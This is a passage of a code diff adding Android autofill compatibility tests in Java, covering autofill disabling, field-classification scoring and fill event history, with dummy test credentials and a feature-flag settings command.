+
+ // Wait for the timeout, then try again, autofilling it this time.
+ SystemClock.sleep(duration + 1);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Also try it on another activity.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableAppThenResetServiceToReenableIt() throws Exception {
+ enableService();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Then "reset" service to re-enable autofill.
+ disableService();
+ enableService();
+
+ // Try again on activity that disabled it.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Try again on other activity.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableActivity() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Now try it using a different activity - should work.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableActivityThenWaitToReenableIt() throws Exception {
+ // Set service.
+ enableService();
+
+ // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+ final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(duration)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Make sure other app is working.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Wait for the timeout, then try again, autofilling it this time.
+ SystemClock.sleep(duration + 1);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+
+ @Test
+ public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
+ enableService();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .disableAutofill(Long.MAX_VALUE)
+ .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+ .build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Make sure other app is working.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+ // Then "reset" service to re-enable autofill.
+ disableService();
+ enableService();
+
+ // Try again on activity that disabled it.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java
new file mode 100644
index 0000000..8569472
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.service.autofill.FieldsClassificationScorer;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class FieldsClassificationScorerTest {
+
+ @Test
+ public void testGetScore_nullValue() {
+ assertThat(FieldsClassificationScorer.getScore(null, "D'OH!")).isEqualTo(0);
+ }
+
+ @Test
+ public void testGetScore_nonTextValue() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forToggle(true), "D'OH!"))
+ .isEqualTo(0);
+ }
+
+ @Test
+ public void testGetScore_nullUserData() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("D'OH!"), null))
+ .isEqualTo(0);
+ }
+
+ @Test
+ public void testGetScore_fullMatch() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("d'oh!"), "d'oh!"))
+ .isEqualTo(100_0000);
+ }
+
+ @Test
+ public void testGetScore_fullMatchMixedCase() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("D'OH!"), "D'oH!"))
+ .isEqualTo(100_0000);
+ }
+
+ // TODO(b/67867469): might need to change it once it supports different sizes
+ @Test
+ public void testGetScore_mismatchDifferentSizes() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("One"), "MoreThanOne"))
+ .isEqualTo(0);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("MoreThanOne"), "One"))
+ .isEqualTo(0);
+ }
+
+ @Test
+ public void testGetScore_partialMatch() {
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "Dxxx"))
+ .isEqualTo(25_0000);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "DUxx"))
+ .isEqualTo(50_0000);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "DUDx"))
+ .isEqualTo(75_0000);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dxxx"), "Dude"))
+ .isEqualTo(25_0000);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("DUxx"), "Dude"))
+ .isEqualTo(50_0000);
+ assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("DUDx"), "Dude"))
+ .isEqualTo(75_0000);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
new file mode 100644
index 0000000..e78f85c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertFillEventForContextCommitted;
+import static android.autofillservice.cts.Helper.assertFillEventForFieldsClassification;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.provider.Settings;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.widget.EditText;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+
+public class FieldsClassificationTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<GridActivity> mActivityRule =
+ new AutofillActivityTestRule<GridActivity>(GridActivity.class);
+
+ private GridActivity mActivity;
+ private int mEnabledBefore;
+
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ // TODO(b/67867469): remove once feature is stable
+ @Before
+ public void enableFeature() {
+ mEnabledBefore = Settings.Secure.getInt(
+ mContext.getContentResolver(), Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 0);
+ if (mEnabledBefore == 1) {
+ // Already enabled, ignore.
+ return;
+ }
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+ runShellCommand("settings put secure %s %s default",
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 1);
+ observer.assertCalled();
+ }
+
+ // TODO(b/67867469): remove once feature is stable
+ @After
+ public void restoreFeatureStatus() {
+ if (mEnabledBefore == 1) {
+ // Already enabled, ignore.
+ return;
+ }
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+ runShellCommand("settings put secure %s %s default",
+ Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBefore);
+ observer.assertCalled();
+ }
+
+ @Test
+ public void testHit_oneUserData_oneDetectableField() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "fully");
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForFieldsClassification(events.get(0), fieldId, "myId", 1000000);
+ }
+
+ @Test
+ public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
+ manyUserData_oneDetectableField(true);
+ }
+
+ @Test
+ public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
+ manyUserData_oneDetectableField(false);
+ }
+
+ private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final String expectedId;
+ final String typedText;
+ if (firstMatch) {
+ expectedId = "1stId";
+ typedText = "IAM111";
+ } else {
+ expectedId = "2ndId";
+ typedText = "IAM222";
+ }
+ mActivity.getAutofillManager().setUserData(new UserData.Builder("1stId", "Iam1ST")
+ .add("2ndId", "Iam2ND").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, typedText);
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ // Matches 4 of 6 chars - 66.6666%
+ assertFillEventForFieldsClassification(events.get(0), fieldId, expectedId, 666666);
+ }
+
+ @Test
+ public void testHit_oneUserData_manyDetectableFields() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field1 = mActivity.getCell(1, 1);
+ final AutofillId fieldId1 = field1.getAutofillId();
+ final EditText field2 = mActivity.getCell(1, 2);
+ final AutofillId fieldId2 = field2.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId1, fieldId2)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field1);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "fully"); // 100%
+ mActivity.setText(1, 2, "fooly"); // 60%
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForFieldsClassification(events.get(0),
+ new AutofillId[] { fieldId1, fieldId2 },
+ new String[] { "myId", "myId" },
+ new int[] { 1000000, 600000 });
+ }
+
+ @Test
+ public void testHit_manyUserData_manyDetectableFields() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY")
+ .add("otherId", "EMPTY")
+ .build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field1 = mActivity.getCell(1, 1);
+ final AutofillId fieldId1 = field1.getAutofillId();
+ final EditText field2 = mActivity.getCell(1, 2);
+ final AutofillId fieldId2 = field2.getAutofillId();
+ final EditText field3 = mActivity.getCell(2, 1);
+ final AutofillId fieldId3 = field3.getAutofillId();
+ final EditText field4 = mActivity.getCell(2, 2);
+ final AutofillId fieldId4 = field4.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId1, fieldId2)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field1);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "fully"); // 100%
+ mActivity.setText(1, 2, "empty"); // 100%
+ mActivity.setText(2, 1, "fooly"); // 60%
+ mActivity.setText(2, 2, "emppy"); // 80%
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForFieldsClassification(events.get(0),
+ new AutofillId[] { fieldId1, fieldId2, fieldId3, fieldId4 },
+ new String[] { "myId", "otherId", "myId", "otherId" },
+ new int[] { 1000000, 1000000, 600000, 800000});
+ }
+
+ @Test
+ public void testMiss() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "ABCDEF").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Simulate user input
+ mActivity.setText(1, 1, "xyz");
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
+ }
+
+ @Test
+ public void testNoUserInput() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.getAutofillManager()
+ .setUserData(new UserData.Builder("myId", "FULLY").build());
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final EditText field = mActivity.getCell(1, 1);
+ final AutofillId fieldId = field.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+ .setFieldClassificationIds(fieldId)
+ .build());
+
+ // Trigger autofill
+ mActivity.focusCell(1, 1);
+ sReplier.getNextFillRequest();
+
+ sUiBot.assertNoDatasets();
+ callback.assertUiUnavailableEvent(field);
+
+ // Finish context.
+ mActivity.getAutofillManager().commit();
+
+ // Assert results
+ final FillEventHistory history =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = history.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForContextCommitted(events.get(0));
+ }
+
+ /*
+ * TODO(b/67867469): other scenarios:
+ *
+ * - Multipartition (for example, one response with FieldsDetection, others with datasets,
+ * saveinfo, and/or ignoredIds)
+ * - make sure detectable fields don't trigger a new partition
+ * v test partial hit (for example, 'fool' instead of 'full'
+ * v multiple fields
+ * v multiple value
+ * - combinations of above items
+ */
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
new file mode 100644
index 0000000..b3190c8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -0,0 +1,1330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.Helper.assertDeprecatedClientState;
+import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
+ */
+public class FillEventHistoryTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ @Test
+ public void testDatasetAuthenticationSelected() throws Exception {
+ enableService();
+
+ // Set up FillResponse with dataset authentication
+ Bundle clientState = new Bundle();
+ clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("Dataset"))
+ .build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setId("name")
+ .setPresentation(createPresentation("authentication"))
+ .setAuthentication(authentication)
+ .build())
+ .setExtras(clientState).build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Authenticate
+ sUiBot.selectDataset("authentication");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ // Verify fill selection
+ FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
+ "clientStateKey", "clientStateValue");
+ }
+
+ @Test
+ public void testAuthenticationSelected() throws Exception {
+ enableService();
+
+ // Set up FillResponse with response wide authentication
+ Bundle clientState = new Bundle();
+ clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+ // Prepare the authenticated response
+ final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+ new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setId("name")
+ .setPresentation(createPresentation("dataset"))
+ .build())
+ .setExtras(clientState).build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+ .setPresentation(createPresentation("authentication"))
+ .setAuthentication(authentication, ID_USERNAME)
+ .build());
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+
+ // Authenticate
+ sUiBot.selectDataset("authentication");
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset");
+
+ // Verify fill selection
+ FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
+ "clientStateKey", "clientStateValue");
+ }
+
+ @Test
+ public void testDatasetSelected_twoResponses() throws Exception {
+ enableService();
+
+ // Set up first partition with an anonymous dataset
+ Bundle clientState1 = new Bundle();
+ clientState1.putCharSequence("clientStateKey", "Value1");
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setExtras(clientState1)
+ .build());
+ mActivity.expectAutoFill("username");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sUiBot.selectDataset("dataset1");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value1");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
+ "clientStateKey", "Value1");
+ }
+
+ // Set up second partition with a named dataset
+ Bundle clientState2 = new Bundle();
+ clientState2.putCharSequence("clientStateKey", "Value2");
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .setId("name2")
+ .build())
+ .addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_PASSWORD, "password3")
+ .setPresentation(createPresentation("dataset3"))
+ .setId("name3")
+ .build())
+ .setExtras(clientState2)
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+ mActivity.expectPasswordAutoFill("password3");
+
+ // Trigger autofill on password
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset3");
+ sReplier.getNextFillRequest();
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
+ "clientStateKey", "Value2");
+ }
+
+ mActivity.onPassword((v) -> v.setText("new password"));
+ mActivity.syncRunOnUiThread(() -> mActivity.finish());
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "name3",
+ "clientStateKey", "Value2");
+ assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
+ "clientStateKey", "Value2");
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(NO_RESPONSE);
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceReturnsFailure() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
